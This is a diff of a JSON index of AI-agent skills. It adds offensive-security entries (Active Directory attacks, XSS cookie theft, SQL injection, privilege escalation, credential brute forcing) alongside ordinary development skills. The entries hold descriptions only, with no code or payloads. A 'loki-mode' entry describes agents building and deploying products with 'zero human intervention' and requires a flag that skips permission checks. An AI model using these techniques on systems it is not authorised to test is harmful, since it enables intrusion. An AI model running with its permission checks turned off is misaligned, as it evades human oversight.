+    "id": "api-fuzzing-bug-bounty",
+    "path": "skills/api-fuzzing-bug-bounty",
+    "name": "API Fuzzing for Bug Bounty",
+    "description": "This skill should be used when the user asks to \"test API security\", \"fuzz APIs\", \"find IDOR vulnerabilities\", \"test REST API\", \"test GraphQL\", \"API penetration testing\", \"bug bounty API testing\", or needs guidance on API security assessment techniques."
+  },
+  {
+    "id": "aws-penetration-testing",
+    "path": "skills/.disabled/aws-penetration-testing",
+    "name": "AWS Penetration Testing",
+    "description": "This skill should be used when the user asks to \"pentest AWS\", \"test AWS security\", \"enumerate IAM\", \"exploit cloud infrastructure\", \"AWS privilege escalation\", \"S3 bucket testing\", \"metadata SSRF\", \"Lambda exploitation\", or needs guidance on Amazon Web Services security assessment."
+  },
   {
     "id": "aws-penetration-testing",
     "path": "skills/aws-penetration-testing",
     "name": "AWS Penetration Testing",
     "description": "This skill should be used when the user asks to \"pentest AWS\", \"test AWS security\", \"enumerate IAM\", \"exploit cloud infrastructure\", \"AWS privilege escalation\", \"S3 bucket testing\", \"metadata SSRF\", \"Lambda exploitation\", or needs guidance on Amazon Web Services security assessment."
   },
+  {
+    "id": "active-directory-attacks",
+    "path": "skills/active-directory-attacks",
+    "name": "Active Directory Attacks",
+    "description": "This skill should be used when the user asks to \"attack Active Directory\", \"exploit AD\", \"Kerberoasting\", \"DCSync\", \"pass-the-hash\", \"BloodHound enumeration\", \"Golden Ticket\", \"Silver Ticket\", \"AS-REP roasting\", \"NTLM relay\", or needs guidance on Windows domain penetration testing."
+  },
+  {
+    "id": "broken-authentication",
+    "path": "skills/broken-authentication",
+    "name": "Broken Authentication Testing",
+    "description": "This skill should be used when the user asks to \"test for broken authentication vulnerabilities\", \"assess session management security\", \"perform credential stuffing tests\", \"evaluate password policies\", \"test for session fixation\", or \"identify authentication bypass flaws\". It provides comprehensive techniques for identifying authentication and session management weaknesses in web applications."
+  },
+  {
+    "id": "burp-suite-testing",
+    "path": "skills/burp-suite-testing",
+    "name": "Burp Suite Web Application Testing",
+    "description": "This skill should be used when the user asks to \"intercept HTTP traffic\", \"modify web requests\", \"use Burp Suite for testing\", \"perform web vulnerability scanning\", \"test with Burp Repeater\", \"analyze HTTP history\", or \"configure proxy for web testing\". It provides comprehensive guidance for using Burp Suite's core features for web application security testing."
+  },
+  {
+    "id": "claude-code-guide",
+    "path": "skills/claude-code-guide",
+    "name": "Claude Code Guide",
+    "description": "Master guide for using Claude Code effectively. Includes configuration templates, prompting strategies \"Thinking\" keywords, debugging techniques, and best practices for interacting with the agent."
+  },
+  {
+    "id": "cloud-penetration-testing",
+    "path": "skills/cloud-penetration-testing",
+    "name": "Cloud Penetration Testing",
+    "description": "This skill should be used when the user asks to \"perform cloud penetration testing\", \"assess Azure or AWS or GCP security\", \"enumerate cloud resources\", \"exploit cloud misconfigurations\", \"test O365 security\", \"extract secrets from cloud environments\", or \"audit cloud infrastructure\". It provides comprehensive techniques for security assessment across major cloud platforms."
+  },
+  {
+    "id": "xss-html-injection",
+    "path": "skills/xss-html-injection",
+    "name": "Cross-Site Scripting and HTML Injection Testing",
+    "description": "This skill should be used when the user asks to \"test for XSS vulnerabilities\", \"perform cross-site scripting attacks\", \"identify HTML injection flaws\", \"exploit client-side injection vulnerabilities\", \"steal cookies via XSS\", or \"bypass content security policies\". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications."
+  },
+  {
+    "id": "ethical-hacking-methodology",
+    "path": "skills/.disabled/ethical-hacking-methodology",
+    "name": "Ethical Hacking Methodology",
+    "description": "This skill should be used when the user asks to \"learn ethical hacking\", \"understand penetration testing lifecycle\", \"perform reconnaissance\", \"conduct security scanning\", \"exploit vulnerabilities\", or \"write penetration test reports\". It provides comprehensive ethical hacking methodology and techniques."
+  },
   {
     "id": "ethical-hacking-methodology",
     "path": "skills/ethical-hacking-methodology",
     "name": "Ethical Hacking Methodology",
     "description": "This skill should be used when the user asks to \"learn ethical hacking\", \"understand penetration testing lifecycle\", \"perform reconnaissance\", \"conduct security scanning\", \"exploit vulnerabilities\", or \"write penetration test reports\". It provides comprehensive ethical hacking methodology and techniques."
   },
+  {
+    "id": "file-path-traversal",
+    "path": "skills/file-path-traversal",
+    "name": "File Path Traversal Testing",
+    "description": "This skill should be used when the user asks to \"test for directory traversal\", \"exploit path traversal vulnerabilities\", \"read arbitrary files through web applications\", \"find LFI vulnerabilities\", or \"access files outside web root\". It provides comprehensive file path traversal attack and testing methodologies."
+  },
+  {
+    "id": "html-injection-testing",
+    "path": "skills/html-injection-testing",
+    "name": "HTML Injection Testing",
+    "description": "This skill should be used when the user asks to \"test for HTML injection\", \"inject HTML into web pages\", \"perform HTML injection attacks\", \"deface web applications\", or \"test content injection vulnerabilities\". It provides comprehensive HTML injection attack techniques and testing methodologies."
+  },
+  {
+    "id": "idor-testing",
+    "path": "skills/idor-testing",
+    "name": "IDOR Vulnerability Testing",
+    "description": "This skill should be used when the user asks to \"test for insecure direct object references,\" \"find IDOR vulnerabilities,\" \"exploit broken access control,\" \"enumerate user IDs or object references,\" or \"bypass authorization to access other users' data.\" It provides comprehensive guidance for detecting, exploiting, and remediating IDOR vulnerabilities in web applications."
+  },
+  {
+    "id": "linux-privilege-escalation",
+    "path": "skills/linux-privilege-escalation",
+    "name": "Linux Privilege Escalation",
+    "description": "This skill should be used when the user asks to \"escalate privileges on Linux\", \"find privesc vectors on Linux systems\", \"exploit sudo misconfigurations\", \"abuse SUID binaries\", \"exploit cron jobs for root access\", \"enumerate Linux systems for privilege escalation\", or \"gain root access from low-privilege shell\". It provides comprehensive techniques for identifying and exploiting privilege escalation paths on Linux systems."
+  },
+  {
+    "id": "linux-shell-scripting",
+    "path": "skills/.disabled/linux-shell-scripting",
+    "name": "Linux Production Shell Scripts",
+    "description": "This skill should be used when the user asks to \"create bash scripts\", \"automate Linux tasks\", \"monitor system resources\", \"backup files\", \"manage users\", or \"write production shell scripts\". It provides ready-to-use shell script templates for system administration."
+  },
   {
     "id": "linux-shell-scripting",
     "path": "skills/linux-shell-scripting",
     "name": "Linux Production Shell Scripts",
     "description": "This skill should be used when the user asks to \"create bash scripts\", \"automate Linux tasks\", \"monitor system resources\", \"backup files\", \"manage users\", or \"write production shell scripts\". It provides ready-to-use shell script templates for system administration."
   },
+  {
+    "id": "metasploit-framework",
+    "path": "skills/metasploit-framework",
+    "name": "Metasploit Framework",
+    "description": "This skill should be used when the user asks to \"use Metasploit for penetration testing\", \"exploit vulnerabilities with msfconsole\", \"create payloads with msfvenom\", \"perform post-exploitation\", \"use auxiliary modules for scanning\", or \"develop custom exploits\". It provides comprehensive guidance for leveraging the Metasploit Framework in security assessments."
+  },
+  {
+    "id": "network-101",
+    "path": "skills/network-101",
+    "name": "Network 101",
+    "description": "This skill should be used when the user asks to \"set up a web server\", \"configure HTTP or HTTPS\", \"perform SNMP enumeration\", \"configure SMB shares\", \"test network services\", or needs guidance on configuring and testing network services for penetration testing labs."
+  },
+  {
+    "id": "pentest-checklist",
+    "path": "skills/.disabled/pentest-checklist",
+    "name": "Pentest Checklist",
+    "description": "This skill should be used when the user asks to \"plan a penetration test\", \"create a security assessment checklist\", \"prepare for penetration testing\", \"define pentest scope\", \"follow security testing best practices\", or needs a structured methodology for penetration testing engagements."
+  },
   {
     "id": "pentest-checklist",
     "path": "skills/pentest-checklist",
     "name": "Pentest Checklist",
     "description": "This skill should be used when the user asks to \"plan a penetration test\", \"create a security assessment checklist\", \"prepare for penetration testing\", \"define pentest scope\", \"follow security testing best practices\", or needs a structured methodology for penetration testing engagements."
   },
+  {
+    "id": "pentest-commands",
+    "path": "skills/pentest-commands",
+    "name": "Pentest Commands",
+    "description": "This skill should be used when the user asks to \"run pentest commands\", \"scan with nmap\", \"use metasploit exploits\", \"crack passwords with hydra or john\", \"scan web vulnerabilities with nikto\", \"enumerate networks\", or needs essential penetration testing command references."
+  },
+  {
+    "id": "privilege-escalation-methods",
+    "path": "skills/privilege-escalation-methods",
+    "name": "Privilege Escalation Methods",
+    "description": "This skill should be used when the user asks to \"escalate privileges\", \"get root access\", \"become administrator\", \"privesc techniques\", \"abuse sudo\", \"exploit SUID binaries\", \"Kerberoasting\", \"pass-the-ticket\", \"token impersonation\", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems."
+  },
+  {
+    "id": "red-team-tools",
+    "path": "skills/red-team-tools",
+    "name": "Red Team Tools and Methodology",
+    "description": "This skill should be used when the user asks to \"follow red team methodology\", \"perform bug bounty hunting\", \"automate reconnaissance\", \"hunt for XSS vulnerabilities\", \"enumerate subdomains\", or needs security researcher techniques and tool configurations from top bug bounty hunters."
+  },
+  {
+    "id": "smtp-penetration-testing",
+    "path": "skills/smtp-penetration-testing",
+    "name": "SMTP Penetration Testing",
+    "description": "This skill should be used when the user asks to \"perform SMTP penetration testing\", \"enumerate email users\", \"test for open mail relays\", \"grab SMTP banners\", \"brute force email credentials\", or \"assess mail server security\". It provides comprehensive techniques for testing SMTP server security."
+  },
+  {
+    "id": "sql-injection-testing",
+    "path": "skills/sql-injection-testing",
+    "name": "SQL Injection Testing",
+    "description": "This skill should be used when the user asks to \"test for SQL injection vulnerabilities\", \"perform SQLi attacks\", \"bypass authentication using SQL injection\", \"extract database information through injection\", \"detect SQL injection flaws\", or \"exploit database query vulnerabilities\". It provides comprehensive techniques for identifying, exploiting, and understanding SQL injection attack vectors across different database systems."
+  },
+  {
+    "id": "sqlmap-database-pentesting",
+    "path": "skills/sqlmap-database-pentesting",
+    "name": "SQLMap Database Penetration Testing",
+    "description": "This skill should be used when the user asks to \"automate SQL injection testing,\" \"enumerate database structure,\" \"extract database credentials using sqlmap,\" \"dump tables and columns from a vulnerable database,\" or \"perform automated database penetration testing.\" It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities."
+  },
+  {
+    "id": "ssh-penetration-testing",
+    "path": "skills/ssh-penetration-testing",
+    "name": "SSH Penetration Testing",
+    "description": "This skill should be used when the user asks to \"pentest SSH services\", \"enumerate SSH configurations\", \"brute force SSH credentials\", \"exploit SSH vulnerabilities\", \"perform SSH tunneling\", or \"audit SSH security\". It provides comprehensive SSH penetration testing methodologies and techniques."
+  },
+  {
+    "id": "scanning-tools",
+    "path": "skills/scanning-tools",
+    "name": "Security Scanning Tools",
+    "description": "This skill should be used when the user asks to \"perform vulnerability scanning\", \"scan networks for open ports\", \"assess web application security\", \"scan wireless networks\", \"detect malware\", \"check cloud security\", or \"evaluate system compliance\". It provides comprehensive guidance on security scanning tools and methodologies."
+  },
+  {
+    "id": "shodan-reconnaissance",
+    "path": "skills/shodan-reconnaissance",
+    "name": "Shodan Reconnaissance and Pentesting",
+    "description": "This skill should be used when the user asks to \"search for exposed devices on the internet,\" \"perform Shodan reconnaissance,\" \"find vulnerable services using Shodan,\" \"scan IP ranges with Shodan,\" or \"discover IoT devices and open ports.\" It provides comprehensive guidance for using Shodan's search engine, CLI, and API for penetration testing reconnaissance."
+  },
+  {
+    "id": "top-web-vulnerabilities",
+    "path": "skills/.disabled/top-web-vulnerabilities",
+    "name": "Top 100 Web Vulnerabilities Reference",
+    "description": "This skill should be used when the user asks to \"identify web application vulnerabilities\", \"explain common security flaws\", \"understand vulnerability categories\", \"learn about injection attacks\", \"review access control weaknesses\", \"analyze API security issues\", \"assess security misconfigurations\", \"understand client-side vulnerabilities\", \"examine mobile and IoT security flaws\", or \"reference the OWASP-aligned vulnerability taxonomy\". Use this skill to provide comprehensive vulnerability definitions, root causes, impacts, and mitigation strategies across all major web security categories."
+  },
   {
     "id": "top-web-vulnerabilities",
     "path": "skills/top-web-vulnerabilities",
     "name": "Top 100 Web Vulnerabilities Reference",
     "description": "This skill should be used when the user asks to \"identify web application vulnerabilities\", \"explain common security flaws\", \"understand vulnerability categories\", \"learn about injection attacks\", \"review access control weaknesses\", \"analyze API security issues\", \"assess security misconfigurations\", \"understand client-side vulnerabilities\", \"examine mobile and IoT security flaws\", or \"reference the OWASP-aligned vulnerability taxonomy\". Use this skill to provide comprehensive vulnerability definitions, root causes, impacts, and mitigation strategies across all major web security categories."
   },
+  {
+    "id": "windows-privilege-escalation",
+    "path": "skills/windows-privilege-escalation",
+    "name": "Windows Privilege Escalation",
+    "description": "This skill should be used when the user asks to \"escalate privileges on Windows,\" \"find Windows privesc vectors,\" \"enumerate Windows for privilege escalation,\" \"exploit Windows misconfigurations,\" or \"perform post-exploitation privilege escalation.\" It provides comprehensive guidance for discovering and exploiting privilege escalation vulnerabilities in Windows environments."
+  },
+  {
+    "id": "wireshark-analysis",
+    "path": "skills/wireshark-analysis",
+    "name": "Wireshark Network Traffic Analysis",
+    "description": "This skill should be used when the user asks to \"analyze network traffic with Wireshark\", \"capture packets for troubleshooting\", \"filter PCAP files\", \"follow TCP/UDP streams\", \"detect network anomalies\", \"investigate suspicious traffic\", or \"perform protocol analysis\". It provides comprehensive techniques for network packet capture, filtering, and analysis using Wireshark."
+  },
+  {
+    "id": "wordpress-penetration-testing",
+    "path": "skills/wordpress-penetration-testing",
+    "name": "WordPress Penetration Testing",
+    "description": "This skill should be used when the user asks to \"pentest WordPress sites\", \"scan WordPress for vulnerabilities\", \"enumerate WordPress users, themes, or plugins\", \"exploit WordPress vulnerabilities\", or \"use WPScan\". It provides comprehensive WordPress security assessment methodologies."
+  },
+  {
+    "id": "address-github-comments",
+    "path": "skills/address-github-comments",
+    "name": "address-github-comments",
+    "description": "Use when you need to address review or issue comments on an open GitHub Pull Request using the gh CLI."
+  },
+  {
+    "id": "algorithmic-art",
+    "path": "skills/.disabled/algorithmic-art",
+    "name": "algorithmic-art",
+    "description": "Creating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields, or particle systems. Create original algorithmic art rather than copying existing artists' work to avoid copyright violations."
+  },
   {
     "id": "algorithmic-art",
     "path": "skills/algorithmic-art",
     "name": "algorithmic-art",
     "description": "Creating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields, or particle systems. Create original algorithmic art rather than copying existing artists' work to avoid copyright violations."
   },
+  {
+    "id": "app-store-optimization",
+    "path": "skills/.disabled/app-store-optimization",
+    "name": "app-store-optimization",
+    "description": "Complete App Store Optimization (ASO) toolkit for researching, optimizing, and tracking mobile app performance on Apple App Store and Google Play Store"
+  },
   {
     "id": "app-store-optimization",
     "path": "skills/app-store-optimization",
     "name": "app-store-optimization",
     "description": "Complete App Store Optimization (ASO) toolkit for researching, optimizing, and tracking mobile app performance on Apple App Store and Google Play Store"
   },
+  {
+    "id": "autonomous-agent-patterns",
+    "path": "skills/autonomous-agent-patterns",
+    "name": "autonomous-agent-patterns",
+    "description": "\"Design patterns for building autonomous coding agents. Covers tool integration, permission systems, browser automation, and human-in-the-loop workflows. Use when building AI agents, designing tool APIs, implementing permission systems, or creating autonomous coding assistants.\""
+  },
+  {
+    "id": "backend-dev-guidelines",
+    "path": "skills/.disabled/backend-dev-guidelines",
+    "name": "backend-dev-guidelines",
+    "description": "Comprehensive backend development guide for Node.js/Express/TypeScript microservices. Use when creating routes, controllers, services, repositories, middleware, or working with Express APIs, Prisma database access, Sentry error tracking, Zod validation, unifiedConfig, dependency injection, or async patterns. Covers layered architecture (routes \u2192 controllers \u2192 services \u2192 repositories), BaseController pattern, error handling, performance monitoring, testing strategies, and migration from legacy patterns."
+  },
   {
     "id": "backend-dev-guidelines",
     "path": "skills/backend-dev-guidelines",
     "name": "backend-dev-guidelines",
     "description": "Comprehensive backend development guide for Node.js/Express/TypeScript microservices. Use when creating routes, controllers, services, repositories, middleware, or working with Express APIs, Prisma database access, Sentry error tracking, Zod validation, unifiedConfig, dependency injection, or async patterns. Covers layered architecture (routes \u2192 controllers \u2192 services \u2192 repositories), BaseController pattern, error handling, performance monitoring, testing strategies, and migration from legacy patterns."
   },
+  {
+    "id": "brainstorming",
+    "path": "skills/.disabled/brainstorming",
+    "name": "brainstorming",
+    "description": "\"You MUST use this before any creative work - creating features, building components, adding functionality, or modifying behavior. Explores user intent, requirements and design before implementation.\""
+  },
   {
     "id": "brainstorming",
     "path": "skills/brainstorming",
@@ -65,30 +281,66 @@
     "name": "brand-guidelines",
     "description": "Applies Anthropic's official brand colors and typography to any sort of artifact that may benefit from having Anthropic's look-and-feel. Use it when brand colors or style guidelines, visual formatting, or company design standards apply."
   },
+  {
+    "id": "bun-development",
+    "path": "skills/bun-development",
+    "name": "bun-development",
+    "description": "\"Modern JavaScript/TypeScript development with Bun runtime. Covers package management, bundling, testing, and migration from Node.js. Use when working with Bun, optimizing JS/TS development speed, or migrating from Node.js to Bun.\""
+  },
+  {
+    "id": "canvas-design",
+    "path": "skills/.disabled/canvas-design",
+    "name": "canvas-design",
+    "description": "Create beautiful visual art in .png and .pdf documents using design philosophy. You should use this skill when the user asks to create a poster, piece of art, design, or other static piece. Create original visual designs, never copying existing artists' work to avoid copyright violations."
+  },
   {
     "id": "canvas-design",
     "path": "skills/canvas-design",
     "name": "canvas-design",
     "description": "Create beautiful visual art in .png and .pdf documents using design philosophy. You should use this skill when the user asks to create a poster, piece of art, design, or other static piece. Create original visual designs, never copying existing artists' work to avoid copyright violations."
   },
+  {
+    "id": "concise-planning",
+    "path": "skills/concise-planning",
+    "name": "concise-planning",
+    "description": "Use when a user asks for a plan for a coding task, to generate a clear, actionable, and atomic checklist."
+  },
   {
     "id": "content-creator",
     "path": "skills/content-creator",
     "name": "content-creator",
     "description": "Create SEO-optimized marketing content with consistent brand voice. Includes brand voice analyzer, SEO optimizer, content frameworks, and social media templates. Use when writing blog posts, creating social media content, analyzing brand voice, optimizing SEO, planning content calendars, or when user mentions content creation, brand voice, SEO optimization, social media marketing, or content strategy."
   },
+  {
+    "id": "core-components",
+    "path": "skills/.disabled/core-components",
+    "name": "core-components",
+    "description": "Core component library and design system patterns. Use when building UI, using design tokens, or working with the component library."
+  },
   {
     "id": "core-components",
     "path": "skills/core-components",
     "name": "core-components",
     "description": "Core component library and design system patterns. Use when building UI, using design tokens, or working with the component library."
   },
+  {
+    "id": "claude-d3js-skill",
+    "path": "skills/.disabled/claude-d3js-skill",
+    "name": "d3-viz",
+    "description": "Creating interactive data visualisations using d3.js. This skill should be used when creating custom charts, graphs, network diagrams, geographic visualisations, or any complex SVG-based data visualisation that requires fine-grained control over visual elements, transitions, or interactions. Use this for bespoke visualisations beyond standard charting libraries, whether in React, Vue, Svelte, vanilla JavaScript, or any other environment."
+  },
   {
     "id": "claude-d3js-skill",
     "path": "skills/claude-d3js-skill",
     "name": "d3-viz",
     "description": "Creating interactive data visualisations using d3.js. This skill should be used when creating custom charts, graphs, network diagrams, geographic visualisations, or any complex SVG-based data visualisation that requires fine-grained control over visual elements, transitions, or interactions. Use this for bespoke visualisations beyond standard charting libraries, whether in React, Vue, Svelte, vanilla JavaScript, or any other environment."
   },
+  {
+    "id": "dispatching-parallel-agents",
+    "path": "skills/.disabled/dispatching-parallel-agents",
+    "name": "dispatching-parallel-agents",
+    "description": "Use when facing 2+ independent tasks that can be worked on without shared state or sequential dependencies"
+  },
   {
     "id": "dispatching-parallel-agents",
     "path": "skills/dispatching-parallel-agents",
@@ -107,24 +359,48 @@
     "name": "docx",
     "description": "\"Comprehensive document creation, editing, and analysis with support for tracked changes, comments, formatting preservation, and text extraction. When Claude needs to work with professional documents (.docx files) for: (1) Creating new documents, (2) Modifying or editing content, (3) Working with tracked changes, (4) Adding comments, or any other document tasks\""
   },
+  {
+    "id": "executing-plans",
+    "path": "skills/.disabled/executing-plans",
+    "name": "executing-plans",
+    "description": "Use when you have a written implementation plan to execute in a separate session with review checkpoints"
+  },
   {
     "id": "executing-plans",
     "path": "skills/executing-plans",
     "name": "executing-plans",
     "description": "Use when you have a written implementation plan to execute in a separate session with review checkpoints"
   },
+  {
+    "id": "file-organizer",
+    "path": "skills/.disabled/file-organizer",
+    "name": "file-organizer",
+    "description": "Intelligently organizes files and folders by understanding context, finding duplicates, and suggesting better organizational structures. Use when user wants to clean up directories, organize downloads, remove duplicates, or restructure projects."
+  },
   {
     "id": "file-organizer",
     "path": "skills/file-organizer",
     "name": "file-organizer",
     "description": "Intelligently organizes files and folders by understanding context, finding duplicates, and suggesting better organizational structures. Use when user wants to clean up directories, organize downloads, remove duplicates, or restructure projects."
   },
+  {
+    "id": "finishing-a-development-branch",
+    "path": "skills/.disabled/finishing-a-development-branch",
+    "name": "finishing-a-development-branch",
+    "description": "Use when implementation is complete, all tests pass, and you need to decide how to integrate the work - guides completion of development work by presenting structured options for merge, PR, or cleanup"
+  },
   {
     "id": "finishing-a-development-branch",
     "path": "skills/finishing-a-development-branch",
     "name": "finishing-a-development-branch",
     "description": "Use when implementation is complete, all tests pass, and you need to decide how to integrate the work - guides completion of development work by presenting structured options for merge, PR, or cleanup"
   },
+  {
+    "id": "frontend-design",
+    "path": "skills/.disabled/frontend-design",
+    "name": "frontend-design",
+    "description": "Create distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, artifacts, posters, or applications (examples include websites, landing pages, dashboards, React components, HTML/CSS layouts, or when styling/beautifying any web UI). Generates creative, polished code and UI design that avoids generic AI aesthetics."
+  },
   {
     "id": "frontend-design",
     "path": "skills/frontend-design",
@@ -143,6 +419,12 @@
     "name": "git-pushing",
     "description": "Stage, commit, and push git changes with conventional commit messages. Use when user wants to commit and push changes, mentions pushing to remote, or asks to save and push their work. Also activates when user says \"push changes\", \"commit and push\", \"push this\", \"push to github\", or similar git workflow requests."
   },
+  {
+    "id": "github-workflow-automation",
+    "path": "skills/github-workflow-automation",
+    "name": "github-workflow-automation",
+    "description": "\"Automate GitHub workflows with AI assistance. Includes PR reviews, issue triage, CI/CD integration, and Git operations. Use when automating GitHub workflows, setting up PR review automation, creating GitHub Actions, or triaging issues.\""
+  },
   {
     "id": "internal-comms-anthropic",
     "path": "skills/internal-comms-anthropic",
@@ -155,12 +437,36 @@
     "name": "internal-comms",
     "description": "A set of resources to help me write all kinds of internal communications, using the formats that my company likes to use. Claude should use this skill whenever asked to write some sort of internal communications (status reports, leadership updates, 3P updates, company newsletters, FAQs, incident reports, project updates, etc.)."
   },
+  {
+    "id": "javascript-mastery",
+    "path": "skills/javascript-mastery",
+    "name": "javascript-mastery",
+    "description": "\"Comprehensive JavaScript reference covering 33+ essential concepts every developer should know. From fundamentals like primitives and closures to advanced patterns like async/await and functional programming. Use when explaining JS concepts, debugging JavaScript issues, or teaching JavaScript fundamentals.\""
+  },
   {
     "id": "kaizen",
     "path": "skills/kaizen",
     "name": "kaizen",
     "description": "Guide for continuous improvement, error proofing, and standardization. Use this skill when the user wants to improve code quality, refactor, or discuss process improvements."
   },
+  {
+    "id": "kaizen",
+    "path": "skills/.disabled/kaizen",
+    "name": "kaizen",
+    "description": "Guide for continuous improvement, error proofing, and standardization. Use this skill when the user wants to improve code quality, refactor, or discuss process improvements."
+  },
+  {
+    "id": "llm-app-patterns",
+    "path": "skills/llm-app-patterns",
+    "name": "llm-app-patterns",
+    "description": "\"Production-ready patterns for building LLM applications. Covers RAG pipelines, agent architectures, prompt IDEs, and LLMOps monitoring. Use when designing AI applications, implementing RAG, building agents, or setting up LLM observability.\""
+  },
+  {
+    "id": "loki-mode",
+    "path": "skills/.disabled/loki-mode",
+    "name": "loki-mode",
+    "description": "Multi-agent autonomous startup system for Claude Code. Triggers on \"Loki Mode\". Orchestrates 100+ specialized agents across engineering, QA, DevOps, security, data/ML, business operations, marketing, HR, and customer success. Takes PRD to fully deployed, revenue-generating product with zero human intervention. Features Task tool for subagent dispatch, parallel code review with 3 specialized reviewers, severity-based issue triage, distributed task queue with dead letter handling, automatic deployment to cloud providers, A/B testing, customer feedback loops, incident response, circuit breakers, and self-healing. Handles rate limits via distributed state checkpoints and auto-resume with exponential backoff. Requires --dangerously-skip-permissions flag."
+  },
   {
     "id": "loki-mode",
     "path": "skills/loki-mode",
@@ -203,30 +509,66 @@
     "name": "pptx",
     "description": "\"Presentation creation, editing, and analysis. When Claude needs to work with presentations (.pptx files) for: (1) Creating new presentations, (2) Modifying or editing content, (3) Working with layouts, (4) Adding comments or speaker notes, or any other presentation tasks\""
   },
+  {
+    "id": "product-manager-toolkit",
+    "path": "skills/.disabled/product-manager-toolkit",
+    "name": "product-manager-toolkit",
+    "description": "Comprehensive toolkit for product managers including RICE prioritization, customer interview analysis, PRD templates, discovery frameworks, and go-to-market strategies. Use for feature prioritization, user research synthesis, requirement documentation, and product strategy development."
+  },
   {
     "id": "product-manager-toolkit",
     "path": "skills/product-manager-toolkit",
     "name": "product-manager-toolkit",
     "description": "Comprehensive toolkit for product managers including RICE prioritization, customer interview analysis, PRD templates, discovery frameworks, and go-to-market strategies. Use for feature prioritization, user research synthesis, requirement documentation, and product strategy development."
   },
+  {
+    "id": "prompt-engineering",
+    "path": "skills/.disabled/prompt-engineering",
+    "name": "prompt-engineering",
+    "description": "Expert guide on prompt engineering patterns, best practices, and optimization techniques. Use when user wants to improve prompts, learn prompting strategies, or debug agent behavior."
+  },
   {
     "id": "prompt-engineering",
     "path": "skills/prompt-engineering",
     "name": "prompt-engineering",
     "description": "Expert guide on prompt engineering patterns, best practices, and optimization techniques. Use when user wants to improve prompts, learn prompting strategies, or debug agent behavior."
   },
+  {
+    "id": "prompt-library",
+    "path": "skills/prompt-library",
+    "name": "prompt-library",
+    "description": "\"Curated collection of high-quality prompts for various use cases. Includes role-based prompts, task-specific templates, and prompt refinement techniques. Use when user needs prompt templates, role-play prompts, or ready-to-use prompt examples for coding, writing, analysis, or creative tasks.\""
+  },
+  {
+    "id": "react-ui-patterns",
+    "path": "skills/.disabled/react-ui-patterns",
+    "name": "react-ui-patterns",
+    "description": "Modern React UI patterns for loading states, error handling, and data fetching. Use when building UI components, handling async data, or managing UI states."
+  },
   {
     "id": "react-ui-patterns",
     "path": "skills/react-ui-patterns",
     "name": "react-ui-patterns",
     "description": "Modern React UI patterns for loading states, error handling, and data fetching. Use when building UI components, handling async data, or managing UI states."
   },
+  {
+    "id": "receiving-code-review",
+    "path": "skills/.disabled/receiving-code-review",
+    "name": "receiving-code-review",
+    "description": "Use when receiving code review feedback, before implementing suggestions, especially if feedback seems unclear or technically questionable - requires technical rigor and verification, not performative agreement or blind implementation"
+  },
   {
     "id": "receiving-code-review",
     "path": "skills/receiving-code-review",
     "name": "receiving-code-review",
     "description": "Use when receiving code review feedback, before implementing suggestions, especially if feedback seems unclear or technically questionable - requires technical rigor and verification, not performative agreement or blind implementation"
   },
+  {
+    "id": "requesting-code-review",
+    "path": "skills/.disabled/requesting-code-review",
+    "name": "requesting-code-review",
+    "description": "Use when completing tasks, implementing major features, or before merging to verify work meets requirements"
+  },
   {
     "id": "requesting-code-review",
     "path": "skills/requesting-code-review",
@@ -239,24 +581,48 @@
     "name": "senior-architect",
     "description": "Comprehensive software architecture skill for designing scalable, maintainable systems using ReactJS, NextJS, NodeJS, Express, React Native, Swift, Kotlin, Flutter, Postgres, GraphQL, Go, Python. Includes architecture diagram generation, system design patterns, tech stack decision frameworks, and dependency analysis. Use when designing system architecture, making technical decisions, creating architecture diagrams, evaluating trade-offs, or defining integration patterns."
   },
+  {
+    "id": "senior-fullstack",
+    "path": "skills/.disabled/senior-fullstack",
+    "name": "senior-fullstack",
+    "description": "Comprehensive fullstack development skill for building complete web applications with React, Next.js, Node.js, GraphQL, and PostgreSQL. Includes project scaffolding, code quality analysis, architecture patterns, and complete tech stack guidance. Use when building new projects, analyzing code quality, implementing design patterns, or setting up development workflows."
+  },
   {
     "id": "senior-fullstack",
     "path": "skills/senior-fullstack",
     "name": "senior-fullstack",
     "description": "Comprehensive fullstack development skill for building complete web applications with React, Next.js, Node.js, GraphQL, and PostgreSQL. Includes project scaffolding, code quality analysis, architecture patterns, and complete tech stack guidance. Use when building new projects, analyzing code quality, implementing design patterns, or setting up development workflows."
   },
+  {
+    "id": "skill-creator",
+    "path": "skills/.disabled/skill-creator",
+    "name": "skill-creator",
+    "description": "Guide for creating effective skills. This skill should be used when users want to create a new skill (or update an existing skill) that extends Claude's capabilities with specialized knowledge, workflows, or tool integrations."
+  },
   {
     "id": "skill-creator",
     "path": "skills/skill-creator",
     "name": "skill-creator",
     "description": "Guide for creating effective skills. This skill should be used when users want to create a new skill (or update an existing skill) that extends Claude's capabilities with specialized knowledge, workflows, or tool integrations."
   },
+  {
+    "id": "skill-developer",
+    "path": "skills/.disabled/skill-developer",
+    "name": "skill-developer",
+    "description": "Create and manage Claude Code skills following Anthropic best practices. Use when creating new skills, modifying skill-rules.json, understanding trigger patterns, working with hooks, debugging skill activation, or implementing progressive disclosure. Covers skill structure, YAML frontmatter, trigger types (keywords, intent patterns, file paths, content patterns), enforcement levels (block, suggest, warn), hook mechanisms (UserPromptSubmit, PreToolUse), session tracking, and the 500-line rule."
+  },
   {
     "id": "skill-developer",
     "path": "skills/skill-developer",
     "name": "skill-developer",
     "description": "Create and manage Claude Code skills following Anthropic best practices. Use when creating new skills, modifying skill-rules.json, understanding trigger patterns, working with hooks, debugging skill activation, or implementing progressive disclosure. Covers skill structure, YAML frontmatter, trigger types (keywords, intent patterns, file paths, content patterns), enforcement levels (block, suggest, warn), hook mechanisms (UserPromptSubmit, PreToolUse), session tracking, and the 500-line rule."
   },
+  {
+    "id": "slack-gif-creator",
+    "path": "skills/.disabled/slack-gif-creator",
+    "name": "slack-gif-creator",
+    "description": "Knowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like \"make me a GIF of X doing Y for Slack.\""
+  },
   {
     "id": "slack-gif-creator",
     "path": "skills/slack-gif-creator",
@@ -269,6 +635,12 @@
